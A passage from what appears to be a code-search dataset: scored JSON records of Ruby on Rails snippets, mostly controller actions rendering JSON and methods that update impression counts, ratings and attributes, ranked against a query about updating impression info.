"text": "def show\n @beer = Beer.find params[:id]\n\n respond_to do |format|\n format.json { render_for_api :public, :json => @beer }\n format.xml { render_for_api :public, :xml => @beer }\n end\n end",
"title": ""
},
{
"docid": "9b37c6854067720b1598d493347ca3d3",
"score": "0.5402872",
"text": "def venue_instock\n @beers = Untappd::Beer.feed(params[:bid])\n render json: @beers\n end",
"title": ""
},
{
"docid": "3a81af8d5ed98d17530797fcb91a2d3e",
"score": "0.5390588",
"text": "def index\r\n @ftts = FttResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @ftts }\r\n end\r\n end",
"title": ""
},
{
"docid": "68032c0f9c681bd86463fd66f1557638",
"score": "0.5387026",
"text": "def top_referrers\n \t@top_urls_in_past_5_days_with_referrers = View.top_urls_grouped_by_past_days(5, :with_referrers)\n \trender json: @top_urls_in_past_5_days_with_referrers\n end",
"title": ""
},
{
"docid": "1ba7ac4d5283f45e70f1fd9a88983923",
"score": "0.53837496",
"text": "def beers\n @brewery = Brewery.from_param params[:id]\n @beers = @brewery.beers\n\n respond_to do |format|\n format.json { render_for_api :brewery, :json => @beers }\n format.xml { render_for_api :brewery, :xml => @beers }\n end\n end",
"title": ""
},
{
"docid": "9fcb566801f42769fe9d0963dda3ad1a",
"score": "0.53740096",
"text": "def index\n @fencers = Fencer.all\n end",
"title": ""
},
{
"docid": "9fcb566801f42769fe9d0963dda3ad1a",
"score": "0.53740096",
"text": "def index\n @fencers = Fencer.all\n end",
"title": ""
},
{
"docid": "37bf004d9d9fe614f683b3a6e2288c79",
"score": "0.5373105",
"text": "def list\n http.get(\"/takers\") do |response|\n respond_with_collection(response)\n end\n end",
"title": ""
},
{
"docid": "7782f66289e3ae35119775ada9854aa0",
"score": "0.5369846",
"text": "def viewers\n stats = Stats.new(\"Success\", params[:code], {\n viewers: @link.viewers\n })\n render json: stats\n end",
"title": ""
},
{
"docid": "e974d82936d6ea8e45f60bdaefe0f7b3",
"score": "0.53686607",
"text": "def index\n @referrers = Referrer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @referrers }\n end\n end",
"title": ""
},
{
"docid": "0f0eeeef99a8f5cdc5ef7f53073473ed",
"score": "0.53679776",
"text": "def show\n @flow = current_user.flows.find(params[:id]) #Retrieves the info of the flow instance with id = :id\n end",
"title": ""
},
{
"docid": "55397c7ed026d8915e229161d6f26880",
"score": "0.53676283",
"text": "def request_flight_emissions(origin, destination, booking_class, num_of_travelers)\n uri = base_parameters[0]\n request = base_parameters[1]\n request.body = {\n items: [\n {\n carbon_activity_type: 'flight',\n parameters: {\n origin_iata: origin,\n destination_iata: destination,\n booking_class: booking_class,\n number_of_travelers: num_of_travelers\n }\n }\n ]\n }.to_json\n res = get_api_result(uri, request)\n get_grams(res)\nend",
"title": ""
},
{
"docid": "36ceef01de87bc90489679091e0f5a6b",
"score": "0.53652966",
"text": "def get_favs\n beers = @user_beer.get_favs(@current_user)\n\n render json: {\n status: 200,\n beers: beers,\n errors: nil\n }\n end",
"title": ""
},
{
"docid": "aec5d9c94e310a6b05af46bca9575b93",
"score": "0.5362475",
"text": "def index\n @my_studio_staffers = @my_studio.staffers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_studio_staffers }\n end\n end",
"title": ""
},
{
"docid": "aa9c39b6f2aa38bf288597532b32c9c0",
"score": "0.53595257",
"text": "def flights\n airline = Airline.where(\"id = ?\", params[:id]).take\n\n if !airline.nil?\n respond_with( airline.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end",
"title": ""
},
{
"docid": "14a9569babc9d5f9fa8b3da83171ba7a",
"score": "0.5356773",
"text": "def index\n @rainfalls = Rainfall.all\n respond_to do |format|\n format.html { render json: @rainfalls} \n end\n end",
"title": ""
},
{
"docid": "5a2064dceb7e6304d63b6566052000f0",
"score": "0.53563654",
"text": "def index\n @food_visits = FoodVisit.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @food_visits }\n end\n end",
"title": ""
},
{
"docid": "1619e0de960b34feac78dc0e7f559bfa",
"score": "0.5355256",
"text": "def show\n render json: fpl_team_list_hash\n end",
"title": ""
},
{
"docid": "9f653d4b8a72c62881cf69442d148bd3",
"score": "0.5353674",
"text": "def requests\n @veteran = Veteran.find(params[:id])\n requesters = @veteran.followers - @veteran.follows\n render json: requesters\n end",
"title": ""
},
{
"docid": "4a3776100ab43dc0559e989e32b9da35",
"score": "0.53517663",
"text": "def index\n @firewalls = getmydata(\"Firewall\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @firewalls }\n end\n end",
"title": ""
},
{
"docid": "071c561729117d0509104577f600125d",
"score": "0.53516924",
"text": "def index\n @presenters = Presenter.all\n\n render json: @presenters\n end",
"title": ""
},
{
"docid": "29776d63e4bd26ffb8ce8ad004df2f60",
"score": "0.535083",
"text": "def index\n @passengers = Passenger.all\n\n respond_to do |format|\n format.html\n format.json { render json: @passengers }\n end\n end",
"title": ""
},
{
"docid": "9f91d29c473583e1e3ccea82ae266e35",
"score": "0.5348372",
"text": "def show\n @golf_fields_green = GolfFieldsGreen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @golf_fields_green }\n end\n end",
"title": ""
},
{
"docid": "4a1a9364c3f4bf7f7fd8da39bc170f8d",
"score": "0.53471017",
"text": "def index\n if @mode == :standalone\n @beamers = Beamer.find(:all)\n else\n @beamers = @zone.beamers\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @beamers }\n end\n end",
"title": ""
},
{
"docid": "cf099ba4db1617c85e6b1223579bea1b",
"score": "0.5343416",
"text": "def get_client_throughput_time_series_data(args = {}) \n get(\"/clients.json/stats/throughput\", args)\nend",
"title": ""
},
{
"docid": "cd98ffa6cc4526225fc3cb071d98af36",
"score": "0.53420645",
"text": "def flights\n club = GolfClub.find(params[:golf_club_id])\n if club.user_id != current_user.id then\n render json:{message:'you do not own this club'}, status: :unauthorized\n return\n end\n\n date = params.has_key?(:date) ? Date.parse(params[:date]) : Date.today + 1.day\n results = []\n (date..date+6).each do |date_query|\n=begin\n result = GolfClub.search({ dateTimeQuery:Time.parse(\"#{date_query} 14:00 +0000\"), spread:9.hours, club_id:club.id,\n loadCourseData:true, adminMode:true}).first\n results << (result.nil? ? {:club => [], :flights => [], :queryData => []} : result)\n=end\n\n results << {club:[], flights:club.getFlightListing(date_query, {timeOnly:true, loadCourseData:true}), queryData:[]}\n end\n\n render json:results\n\n end",
"title": ""
},
{
"docid": "93ebf99179155dd5e88afa8e19fa0444",
"score": "0.53401786",
"text": "def index\n render json: fpl_team_list_hash\n end",
"title": ""
},
{
"docid": "5da842126ec18b1bd273fafd7897e3de",
"score": "0.53399867",
"text": "def index\n @feeds = Feed.all\n\n render json: @feeds\n end",
"title": ""
},
{
"docid": "9e9d01e19ac009863ea80d6ecf50dcf1",
"score": "0.5331106",
"text": "def activities\n begin\n feeds = @user.user_feeds(params[:page], params[:limit]) # Will return feeds for given user\n render :json => {\"status\" => 1, \"feeds\" => feeds}.to_json\n rescue\n render :json => {\"status\" => 0, \"errors\" => \"Something went wrong\"}.to_json\n end\n end",
"title": ""
},
{
"docid": "de0e3a10be322a83b207ef09d3aa7dc1",
"score": "0.532195",
"text": "def index\n @beers = Beer.search(params[:search]).order(sort_column + \" \" + sort_direction).\n paginate(:page=>params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @beers }\n end\n end",
"title": ""
}
] |
70148c42b6ce56537dc848387a4012b6
|
Update Impression Info . Need Recalculate object.update_impression(title)
|
[
{
"docid": "39a67fd536d901bd9d020e2130ce45c8",
"score": "0.7694395",
"text": "def update_impression( impression_title, impression_number = 1, is_not_hejia = false, session_id = nil )\n impression_validates( impression_title, impression_number, is_not_hejia, session_id )\n impression_count_validates(session_id) if is_not_hejia && impression_valid?\n # Need calculation difference_value\n impression_valid? && modify_impressi( impression_title, calculation_of_difference(impression_title, impression_number) )\n end",
"title": ""
}
] |
[
{
"docid": "102f83da0ce15c4ba61a5015d7f5c8e5",
"score": "0.6943105",
"text": "def impression!\n self.update(visits_count: (self.visits_count || 0) + 1, last_visited_at: Time.now)\n end",
"title": ""
},
{
"docid": "8395b951d909c4d700830919654dc81b",
"score": "0.69103074",
"text": "def modify_impression( impression_title, impression_number )\n $redis.multi\n # Cumulative number of records ( ordered set ) .\n $redis.zincrby impression_key, impression_number, impression_title\n # Impression of the total number of records ( string ) .\n $redis.incrby counter_key, impression_number\n\n # Handle the latest impression added ( ordered set ) .\n $redis.zadd latest_list_key, Time.now.to_i, impression_title\n $redis.zrem latest_list_key, $redis.zrange( latest_list_key, 0, 0 ).first if $redis.zcard( latest_list_key ).to_i > @@limit_count \n $redis.exec\n true\n rescue\n Rails.logger.error $!\n Rails.logger.error $@.join(\"\\n\")\n $redis.discard\n false\n end",
"title": ""
},
{
"docid": "34d3b01c60b1050240426e25a950f019",
"score": "0.6888854",
"text": "def set_impression\n @impression = Impression.find(params[:id])\n end",
"title": ""
},
{
"docid": "fd25231f6c4d3e8de218cffaded24fe8",
"score": "0.6486013",
"text": "def first_impression\n self.impressions_in_recommendations = 0\n # TODO: fix later, take duration out of table\n self.duration = 0\n end",
"title": ""
},
{
"docid": "b4784f1e1ebf1ea5f37f4f1c90f43b07",
"score": "0.6444061",
"text": "def update\n respond_to do |format|\n if @impression.update(impression_params)\n format.html { redirect_to @impression, notice: \"Impression was successfully updated.\" }\n format.json { render :show, status: :ok, location: @impression }\n else\n format.html { render :edit }\n format.json { render json: @impression.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7a8c776296bbbee078a9718d3df18b60",
"score": "0.62317044",
"text": "def update!(**args)\n @duration = args[:duration] if args.key?(:duration)\n @impressions = args[:impressions] if args.key?(:impressions)\n end",
"title": ""
},
{
"docid": "2cbec84fab56ea93e60cd017aae287cf",
"score": "0.6202092",
"text": "def update!(**args)\n @impression_count = args[:impression_count] if args.key?(:impression_count)\n @row_dimensions = args[:row_dimensions] if args.key?(:row_dimensions)\n @status = args[:status] if args.key?(:status)\n end",
"title": ""
},
{
"docid": "bd0841c3efcd315d7180522af218cc29",
"score": "0.61687636",
"text": "def impressionable_try\n entity.try(:update_impressionist_counter_cache)\n end",
"title": ""
},
{
"docid": "e057b29af5930760ea2a8b4db7d3ea9a",
"score": "0.6166527",
"text": "def update!(**args)\n @click_duration = args[:click_duration] if args.key?(:click_duration)\n @post_impression_activities_duration = args[:post_impression_activities_duration] if args.key?(:post_impression_activities_duration)\n end",
"title": ""
},
{
"docid": "75b9eee76d4fa41cc02aeea8dd69214f",
"score": "0.6003567",
"text": "def set_add_impressions_count_to_product\n @add_impressions_count_to_product = AddImpressionsCountToProduct.find(params[:id])\n end",
"title": ""
},
{
"docid": "1d9e8bc98855e06ab3c97adb96034269",
"score": "0.5950303",
"text": "def update!(**args)\n @impression_metrics_rows = args[:impression_metrics_rows] if args.key?(:impression_metrics_rows)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"title": ""
},
{
"docid": "dd72d1dfa9d28bf0392498c8cc891ab9",
"score": "0.58914965",
"text": "def update!(**args)\n @average_rating = args[:average_rating] if args.key?(:average_rating)\n @rating_count = args[:rating_count] if args.key?(:rating_count)\n @rating_histogram = args[:rating_histogram] if args.key?(:rating_histogram)\n end",
"title": ""
},
{
"docid": "184519b2e668aa900a287a56db8121f8",
"score": "0.58137196",
"text": "def show\n impressionist(@profile)\n\n end",
"title": ""
},
{
"docid": "1e8e2b2c5165ab2e0a19487011e6d754",
"score": "0.58013827",
"text": "def update!(**args)\n @advertiser = args[:advertiser] if args.key?(:advertiser)\n @app_icon = args[:app_icon] if args.key?(:app_icon)\n @body = args[:body] if args.key?(:body)\n @call_to_action = args[:call_to_action] if args.key?(:call_to_action)\n @click_tracking_url = args[:click_tracking_url] if args.key?(:click_tracking_url)\n @headline = args[:headline] if args.key?(:headline)\n @image = args[:image] if args.key?(:image)\n @impression_tracking_url = args[:impression_tracking_url] if args.key?(:impression_tracking_url)\n @logo = args[:logo] if args.key?(:logo)\n @price = args[:price] if args.key?(:price)\n @star_rating = args[:star_rating] if args.key?(:star_rating)\n end",
"title": ""
},
{
"docid": "bd13ab66d705ae70a09fb8c7bfbfba09",
"score": "0.57888883",
"text": "def show\n impression_count(@post)\n end",
"title": ""
},
{
"docid": "6790d29995438eff522298b420eff164",
"score": "0.5762575",
"text": "def add_impression(banner_id, campaign_id)\n @campaigns[campaign_id][banner_id] = BannerPerformance.new(0, 0)\n end",
"title": ""
},
{
"docid": "4ae6e992538490747ebed6d0653e6ff5",
"score": "0.5762282",
"text": "def update\n\t\t@title_rating = TitleRating.find(params[:id])\n\t\t(Title::attributes + Title::genres).each do |name|\n\t\t\tparams['title_rating'][name] = nil if params['title_rating'][name] == '0'\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tif @title_rating.update_attributes(params[:title_rating])\n\t\t\t\tflash_notice 'The Title Rating was successfully updated.'\n\t\t\t\tformat.html { redirect_to(@title_rating) }\n\t\t\t\t#format.xml\t{ head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\t#format.xml\t{ render :xml => @title_rating.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ed06cf3d6b28b30037cc998b4858255c",
"score": "0.5744388",
"text": "def update!(**args)\n @client_info = args[:client_info] if args.key?(:client_info)\n @impressions = args[:impressions] if args.key?(:impressions)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"title": ""
},
{
"docid": "ed06cf3d6b28b30037cc998b4858255c",
"score": "0.5744388",
"text": "def update!(**args)\n @client_info = args[:client_info] if args.key?(:client_info)\n @impressions = args[:impressions] if args.key?(:impressions)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"title": ""
},
{
"docid": "edc9c46d84046f88e4117a76ee2cf059",
"score": "0.57124823",
"text": "def destroy_impression( impression_title )\n impression_number = find_count_by_title(impression_title)\n remove_impression(impression_title, -impression_number) \n end",
"title": ""
},
{
"docid": "a8f713d2b56dd10dd50c7cf1478be4e6",
"score": "0.569904",
"text": "def update!(**args)\n @accessibility_text = args[:accessibility_text] if args.key?(:accessibility_text)\n @image_uri = args[:image_uri] if args.key?(:image_uri)\n end",
"title": ""
},
{
"docid": "a8f713d2b56dd10dd50c7cf1478be4e6",
"score": "0.569904",
"text": "def update!(**args)\n @accessibility_text = args[:accessibility_text] if args.key?(:accessibility_text)\n @image_uri = args[:image_uri] if args.key?(:image_uri)\n end",
"title": ""
},
{
"docid": "a8f713d2b56dd10dd50c7cf1478be4e6",
"score": "0.569904",
"text": "def update!(**args)\n @accessibility_text = args[:accessibility_text] if args.key?(:accessibility_text)\n @image_uri = args[:image_uri] if args.key?(:image_uri)\n end",
"title": ""
},
{
"docid": "a8f713d2b56dd10dd50c7cf1478be4e6",
"score": "0.569904",
"text": "def update!(**args)\n @accessibility_text = args[:accessibility_text] if args.key?(:accessibility_text)\n @image_uri = args[:image_uri] if args.key?(:image_uri)\n end",
"title": ""
},
{
"docid": "6cd1eff0f4937d8684ab08e75ff986c4",
"score": "0.5686998",
"text": "def direct_impression_attributes(query_params={})\n query_params.reverse_merge!(\n :impressionable_type => controller_name.singularize.camelize,\n :impressionable_id=> params[:id]\n )\n associative_impression_attributes(query_params)\n end",
"title": ""
},
{
"docid": "f4f2ff98fead822624374689ab74fb1f",
"score": "0.5684132",
"text": "def update!(**args)\n @advertiser = args[:advertiser] if args.key?(:advertiser)\n @app_icon = args[:app_icon] if args.key?(:app_icon)\n @body = args[:body] if args.key?(:body)\n @call_to_action = args[:call_to_action] if args.key?(:call_to_action)\n @click_link_url = args[:click_link_url] if args.key?(:click_link_url)\n @click_tracking_url = args[:click_tracking_url] if args.key?(:click_tracking_url)\n @headline = args[:headline] if args.key?(:headline)\n @image = args[:image] if args.key?(:image)\n @impression_tracking_url = args[:impression_tracking_url] if args.key?(:impression_tracking_url)\n @logo = args[:logo] if args.key?(:logo)\n @price = args[:price] if args.key?(:price)\n @star_rating = args[:star_rating] if args.key?(:star_rating)\n @video_url = args[:video_url] if args.key?(:video_url)\n end",
"title": ""
},
{
"docid": "9b0c8be40d6daa075f5ab81a065625d0",
"score": "0.5679343",
"text": "def update!(**args)\n @advertiser_name = args[:advertiser_name] if args.key?(:advertiser_name)\n @app_icon = args[:app_icon] if args.key?(:app_icon)\n @body = args[:body] if args.key?(:body)\n @call_to_action = args[:call_to_action] if args.key?(:call_to_action)\n @click_link_url = args[:click_link_url] if args.key?(:click_link_url)\n @click_tracking_url = args[:click_tracking_url] if args.key?(:click_tracking_url)\n @headline = args[:headline] if args.key?(:headline)\n @image = args[:image] if args.key?(:image)\n @logo = args[:logo] if args.key?(:logo)\n @price_display_text = args[:price_display_text] if args.key?(:price_display_text)\n @star_rating = args[:star_rating] if args.key?(:star_rating)\n @video_url = args[:video_url] if args.key?(:video_url)\n end",
"title": ""
},
{
"docid": "b30384aaf456d19a95ab22928e4ef4a0",
"score": "0.5662526",
"text": "def update_obj\n glicko_rating = rating.to_glicko_rating\n @obj.rating = glicko_rating.mean\n @obj.rating_deviation = glicko_rating.standard_deviation\n @obj.volatility = volatility\n end",
"title": ""
},
{
"docid": "efd30c05826b3e3d78d36e8e393d4748",
"score": "0.56575143",
"text": "def update!(**args)\n @max_impressions = args[:max_impressions] if args.key?(:max_impressions)\n @num_time_units = args[:num_time_units] if args.key?(:num_time_units)\n @time_unit_type = args[:time_unit_type] if args.key?(:time_unit_type)\n end",
"title": ""
},
{
"docid": "0b0e0b05fe9c03dcb8ed3a6cf39e7ec3",
"score": "0.56474316",
"text": "def update!(**args)\n @ad_id = args[:ad_id] if args.key?(:ad_id)\n @click_tag = args[:click_tag] if args.key?(:click_tag)\n @creative_id = args[:creative_id] if args.key?(:creative_id)\n @format = args[:format] if args.key?(:format)\n @impression_tag = args[:impression_tag] if args.key?(:impression_tag)\n end",
"title": ""
},
{
"docid": "5c773e1fff88beeaea536515d4358701",
"score": "0.56443524",
"text": "def update_ratings_cache\n\t\t\t\t\tself.rating_count_cache = ratings_count\n\t\t\t\t\tself.rating_count_cache_pro = ratings_count_pro\n\n\t\t\t\t\t\n\t\t\t\t\t\tself.rating_cache = average_rating\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\tself.rating_cache_pro = average_rating_pro\n#puts \"=========================update_ratings_cache====================================\"\n#\t\tputs self.rating_cache\n# puts \"=========================update_ratings_cache====================================\"\n\n self.save!\n\tend",
"title": ""
},
{
"docid": "213fa3df84e93f4ab8a793a1e6c40449",
"score": "0.5634241",
"text": "def update!(**args)\n @advertiser_name = args[:advertiser_name] if args.key?(:advertiser_name)\n @app_icon = args[:app_icon] if args.key?(:app_icon)\n @body = args[:body] if args.key?(:body)\n @call_to_action = args[:call_to_action] if args.key?(:call_to_action)\n @click_link_url = args[:click_link_url] if args.key?(:click_link_url)\n @click_tracking_url = args[:click_tracking_url] if args.key?(:click_tracking_url)\n @headline = args[:headline] if args.key?(:headline)\n @image = args[:image] if args.key?(:image)\n @logo = args[:logo] if args.key?(:logo)\n @price_display_text = args[:price_display_text] if args.key?(:price_display_text)\n @star_rating = args[:star_rating] if args.key?(:star_rating)\n @store_url = args[:store_url] if args.key?(:store_url)\n @video_url = args[:video_url] if args.key?(:video_url)\n end",
"title": ""
},
{
"docid": "55c7a02bd356d77ef8a6edd1d8440fd7",
"score": "0.56141114",
"text": "def update!(**args)\n @average_indexed_item_count = args[:average_indexed_item_count] if args.key?(:average_indexed_item_count)\n @stats = args[:stats] if args.key?(:stats)\n end",
"title": ""
},
{
"docid": "55c7a02bd356d77ef8a6edd1d8440fd7",
"score": "0.56141114",
"text": "def update!(**args)\n @average_indexed_item_count = args[:average_indexed_item_count] if args.key?(:average_indexed_item_count)\n @stats = args[:stats] if args.key?(:stats)\n end",
"title": ""
},
{
"docid": "e29de6b0bef20572556f619eae3ca300",
"score": "0.5603762",
"text": "def update!(**args)\n @max_impressions = args[:max_impressions] if args.key?(:max_impressions)\n @time_unit_type = args[:time_unit_type] if args.key?(:time_unit_type)\n @time_units_count = args[:time_units_count] if args.key?(:time_units_count)\n end",
"title": ""
},
{
"docid": "2e5c0a99fb2ab06b28a86fd10126d270",
"score": "0.55954057",
"text": "def update!(**args)\n @insights = args[:insights] if args.key?(:insights)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"title": ""
},
{
"docid": "780670a6f8774260f618214bc11ec95b",
"score": "0.5592372",
"text": "def update!(**args)\n @annotation_spec = args[:annotation_spec] if args.key?(:annotation_spec)\n @item_count = args[:item_count] if args.key?(:item_count)\n end",
"title": ""
},
{
"docid": "a6e1852644bdeea4b992eb2500d70cbc",
"score": "0.559171",
"text": "def update!(**args)\n @attribution = args[:attribution] if args.key?(:attribution)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "29b8314942bd61f1e638fdc44c090dcf",
"score": "0.55729395",
"text": "def looks (impression)\n if impression == 'positive'\n @attractive = true\n elsif impression == 'negative'\n @attractive = false\n end\n end",
"title": ""
},
{
"docid": "91351caddd0319b97cdbcc72ab6bbb93",
"score": "0.5572527",
"text": "def update_annotation_data\n\n end",
"title": ""
},
{
"docid": "96141efa003f3d609064dfa8d70ad37a",
"score": "0.55701363",
"text": "def update!(**args)\n @attribution = args[:attribution] if args.key?(:attribution)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "61acfe77fe9b54fd9dec635c89eebfe4",
"score": "0.5558924",
"text": "def update!(**args)\n @rating = args[:rating] if args.key?(:rating)\n @rating_system = args[:rating_system] if args.key?(:rating_system)\n end",
"title": ""
},
{
"docid": "02d166946f8cde75dd5959fc4a619d9c",
"score": "0.5558831",
"text": "def update!(**args)\n @attribution = args[:attribution] if args.key?(:attribution)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "edb463d5272e0d8daee5a9012433df53",
"score": "0.55554396",
"text": "def update_counter_caches\n good_comment_ratings_count = CommentRating.find_all_by_picture_comment_id_and_rating(self.picture_comment.user.picture_comments.map{ |p| p.id }, true).count\n bad_comment_ratings_count = CommentRating.find_all_by_picture_comment_id_and_rating(self.picture_comment.user.picture_comments.map{ |p| p.id }, false).count\n self.picture_comment.user.update_attribute(:good_comment_ratings_count, good_comment_ratings_count)\n self.picture_comment.user.update_attribute(:bad_comment_ratings_count, bad_comment_ratings_count)\n end",
"title": ""
},
{
"docid": "ad93e8c86730bd2d3e2324a58d594170",
"score": "0.5554486",
"text": "def update!(**args)\n @annotation_progress = args[:annotation_progress] if args.key?(:annotation_progress)\n end",
"title": ""
},
{
"docid": "ad93e8c86730bd2d3e2324a58d594170",
"score": "0.5554486",
"text": "def update!(**args)\n @annotation_progress = args[:annotation_progress] if args.key?(:annotation_progress)\n end",
"title": ""
},
{
"docid": "ad93e8c86730bd2d3e2324a58d594170",
"score": "0.5554486",
"text": "def update!(**args)\n @annotation_progress = args[:annotation_progress] if args.key?(:annotation_progress)\n end",
"title": ""
},
{
"docid": "ad93e8c86730bd2d3e2324a58d594170",
"score": "0.5554486",
"text": "def update!(**args)\n @annotation_progress = args[:annotation_progress] if args.key?(:annotation_progress)\n end",
"title": ""
},
{
"docid": "ad93e8c86730bd2d3e2324a58d594170",
"score": "0.5554486",
"text": "def update!(**args)\n @annotation_progress = args[:annotation_progress] if args.key?(:annotation_progress)\n end",
"title": ""
},
{
"docid": "73e50ba736df354b5ba675643d0c7af0",
"score": "0.5549559",
"text": "def update!(**args)\n @attribution = args[:attribution] if args.key?(:attribution)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "73e50ba736df354b5ba675643d0c7af0",
"score": "0.5549559",
"text": "def update!(**args)\n @attribution = args[:attribution] if args.key?(:attribution)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "73e50ba736df354b5ba675643d0c7af0",
"score": "0.5549559",
"text": "def update!(**args)\n @attribution = args[:attribution] if args.key?(:attribution)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "74f001e5bd51e6ecd196d5a0156838f5",
"score": "0.5549057",
"text": "def update!(**args)\n @alt_text = args[:alt_text] if args.key?(:alt_text)\n @image_url = args[:image_url] if args.key?(:image_url)\n @on_click = args[:on_click] if args.key?(:on_click)\n end",
"title": ""
},
{
"docid": "177353447121b2abbc635bb31fa0df73",
"score": "0.55453056",
"text": "def update_imdb \n\t\t@movies_imdb = Movies::find_by_title(self.name)\n\t\tself.duration = @movies_imdb.runtime\n\t\tself.name = @movies_imdb.title\n\t\tself.description = @movies_imdb.plot\n\t\tself.rating = get_rating(@movies_imdb)\n\t\tself.poster = @movies_imdb.poster\n\tend",
"title": ""
},
{
"docid": "38c63de050455848b1f45d5f3e9b215e",
"score": "0.55397016",
"text": "def update!(**args)\n @attribution = args[:attribution] if args.key?(:attribution)\n @url = args[:url] if args.key?(:url)\n end",
"title": ""
},
{
"docid": "2f669682dc582d334b4b0efcd8eb8f9e",
"score": "0.5539428",
"text": "def update_info\n info_scrapers.each{ |scraper| scraper.process(:save_results => true, :objects => self, :dont_update_last_scraped => true) }\n end",
"title": ""
},
{
"docid": "0b268e2f49588f5cb5e1bf54615d688f",
"score": "0.55356526",
"text": "def update!(**args)\n @annotation_metadata = args[:annotation_metadata] if args.key?(:annotation_metadata)\n @annotation_sentiment = args[:annotation_sentiment] if args.key?(:annotation_sentiment)\n @annotation_source = args[:annotation_source] if args.key?(:annotation_source)\n @annotation_value = args[:annotation_value] if args.key?(:annotation_value)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "0e42bc6c3909e46a54a3e3dc3c85ef7f",
"score": "0.552585",
"text": "def update!(**args)\n @importance = args[:importance] if args.key?(:importance)\n end",
"title": ""
},
{
"docid": "88e28db24e509782a5e9a22ffdf31859",
"score": "0.550546",
"text": "def update_rating_by_title(title, year, rating)\n request = {\n statement: \"UPDATE \\\"#{@table.name}\\\" SET info.rating=? WHERE title=? and year=?\",\n parameters: [{ \"N\": rating }, title, year]\n }\n @dynamodb.client.execute_statement(request)\n end",
"title": ""
},
{
"docid": "e40ce60f97b8521151f171b94d3b0048",
"score": "0.5500347",
"text": "def update_info\n @info_window.set(H87_Achievements.get_achievement(@index + 1))\n end",
"title": ""
},
{
"docid": "56ac63c6e57b366d79500e99c642965a",
"score": "0.54983544",
"text": "def update_rating\n self.average_rating = user_ratings.average(:score)\n self.ratings_count = user_ratings.count\n save!\n end",
"title": ""
},
{
"docid": "56ac63c6e57b366d79500e99c642965a",
"score": "0.54983544",
"text": "def update_rating\n self.average_rating = user_ratings.average(:score)\n self.ratings_count = user_ratings.count\n save!\n end",
"title": ""
},
{
"docid": "8a52d064b6d9405e089e5131b19b5aab",
"score": "0.5492957",
"text": "def update!(**args)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "8a52d064b6d9405e089e5131b19b5aab",
"score": "0.5492957",
"text": "def update!(**args)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "5483417eb275ea8a78db643ca614c6f2",
"score": "0.54885805",
"text": "def update!(**args)\n @attribution = args[:attribution] unless args[:attribution].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"title": ""
},
{
"docid": "74c9caf68a390c592f46768c9a3f6a54",
"score": "0.54840726",
"text": "def update!(**args)\n @available_impressions = args[:available_impressions] if args.key?(:available_impressions)\n @bid_requests = args[:bid_requests] if args.key?(:bid_requests)\n @inventory_matches = args[:inventory_matches] if args.key?(:inventory_matches)\n @responses_with_bids = args[:responses_with_bids] if args.key?(:responses_with_bids)\n @row_dimensions = args[:row_dimensions] if args.key?(:row_dimensions)\n @successful_responses = args[:successful_responses] if args.key?(:successful_responses)\n end",
"title": ""
},
{
"docid": "1005e2b453db9793543b033a4cae63c6",
"score": "0.54837406",
"text": "def after_update(title)\n expire_cache_for(title)\n end",
"title": ""
},
{
"docid": "e17791752a568849747f5f931c1b1117",
"score": "0.5479538",
"text": "def update!(**args)\n @attribution = args[:attribution] unless args[:attribution].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"title": ""
},
{
"docid": "dadd1136fda440d8b4bf89ee08e47ceb",
"score": "0.5474532",
"text": "def update!(**args)\n @attribution = args[:attribution] unless args[:attribution].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"title": ""
},
{
"docid": "bbced04eca409b5b944c5a33141471f8",
"score": "0.5471714",
"text": "def update_title(new_title)\n \t@title = new_title\n end",
"title": ""
},
{
"docid": "8ffa9ae963e4e46ba9a1e1293de9e21e",
"score": "0.5458206",
"text": "def update\n puts 'calling update'\n\n stat = AlbumStat.where({:album => params[:album]}).first\n\n if stat\n likes= stat.likes\n likes= likes+1\n stat.update_columns(likes: likes)\n end\n puts 'update like success'\n end",
"title": ""
},
{
"docid": "72c39e9fb0618e7c36f38df9eacacd17",
"score": "0.5456453",
"text": "def update!(**args)\n @attribution = args[:attribution] unless args[:attribution].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"title": ""
},
{
"docid": "72c39e9fb0618e7c36f38df9eacacd17",
"score": "0.5456453",
"text": "def update!(**args)\n @attribution = args[:attribution] unless args[:attribution].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"title": ""
},
{
"docid": "72c39e9fb0618e7c36f38df9eacacd17",
"score": "0.5456453",
"text": "def update!(**args)\n @attribution = args[:attribution] unless args[:attribution].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"title": ""
},
{
"docid": "742f098d2882b5adf6421912064b7439",
"score": "0.54550403",
